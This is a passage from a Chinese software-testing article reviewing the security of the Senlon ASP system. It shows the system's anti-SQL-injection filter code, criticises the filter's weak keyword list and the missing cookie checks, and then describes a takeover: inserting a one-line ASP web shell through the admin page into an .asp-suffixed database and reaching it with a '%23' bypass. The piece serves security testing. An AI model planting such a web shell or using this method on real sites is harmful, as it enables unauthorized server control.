Senlon开源系统白盒测试

发表于:2011-4-27 10:06

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:风良    来源:51Testing软件测试网原创

分享:

    Fy_Inf = split(Fy_In,"")

    '--------POST部份------------------

    If Request.Form<>"" Then

For Each Fy_Post In Request.Form

 

For Fy_Xh=0 To Ubound(Fy_Inf)

    If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then

'--------写入数据库---------------

Fy_dbstr="DBQ="+server.mappath("sqlcool.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"

    Set Fy_db=Server.CreateObject("ADODB.CONNECTION")

    Fy_db.open Fy_dbstr

    Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")

    Fy_db.close

    Set Fy_db = Nothing

'--------写入数据库---------------

 

    Response.Write "<Script Language=javascript>alert('核客SQL通用防注入系统提示↓ 请不要在参数中包含非法字符尝试注入! HTTP://kge.wyww.com   系统版本:(ASP)完美版');</Script>"

    Response.Write "非法操作!系统做了如下记录↓<br>"

    Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"

    Response.Write "操作时间:"&Now&"<br>"

    Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"

    Response.Write "提交方式:POST<br>"

    Response.Write "提交参数:"&Fy_Post&"<br>"

    Response.Write "提交数据:"&Request.Form(Fy_Post)

    Response.End

    End If

Next

 

    Next

    End If

    '----------------------------------

 

    '--------GET部份-------------------

    If Request.QueryString<>"" Then

    For Each Fy_Get In Request.QueryString

 

    For Fy_Xh=0 To Ubound(Fy_Inf)

    If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then

    '--------写入数据库---------------

    Fy_dbstr="DBQ="+server.mappath("sqlcool.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"

    Set Fy_db=Server.CreateObject("ADODB.CONNECTION")

    Fy_db.open Fy_dbstr

    Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')")

    Fy_db.close

    Set Fy_db = Nothing

    '--------写入数据库---------------

 

    Response.Write "<Script Language=javascript>alert('核客eSQL通用防注入系统提示↓ 请不要在参数中包含非法字符尝试注入! HTTP://kge.wyww.com   系统版本:(ASP)完美版');</Script>"

    Response.Write "非法操作!系统做了如下记录↓<br>"

    Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"

    Response.Write "操作时间:"&Now&"<br>"

    Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"

    Response.Write "提交方式:GET<br>"

    Response.Write "提交参数:"&Fy_Get&"<br>"

    Response.Write "提交数据:"&Request.QueryString(Fy_Get)

    Response.End

    End If

    Next

    Next

    End If

%>

  从代码可知,犯了大多数SQL防注入存在的问题,关键字过滤不严同时也没有对cookies做检查,到这里,这套程序可谓是漏洞百出了,其他的一些琐碎的文件我也不去细看了,这么多SQL injection直接给这套程序判死刑了。不过有点麻烦的是,这套系统后台非常简单,数据库是asp后缀的,虽然前面有#号,不过这个形同虚设,大家都知道在浏览器里#号可以转换为%23就可以成功绕过,下面我们就可以后台拿shell了,后台拿SHELL方法唯一的途径就是数据库插马了,我们在添加管理员页面添加我们的一句话木马<%execute(request("3"))%>,在本地测试,我就不做一句话为变形了,我们添加成功以后,我们的SHELL地址就是http://localhost/asp/%23senlonsuanming.asp 。注:把#改成%23这样我们的地址就不会被截断,如图:

  ……

  查看全文请点击下载:http://www.51testing.com/html/39/n-234539.html

  版权声明:51Testing软件测试网及相关内容提供者拥有51testing.com内容的全部版权,未经明确的书面许可,任何人或单位不得对本网站内容复制、转载或进行镜像,否则将追究法律责任。

22/2<12
重磅发布,2022软件测试行业现状调查报告~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2023
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号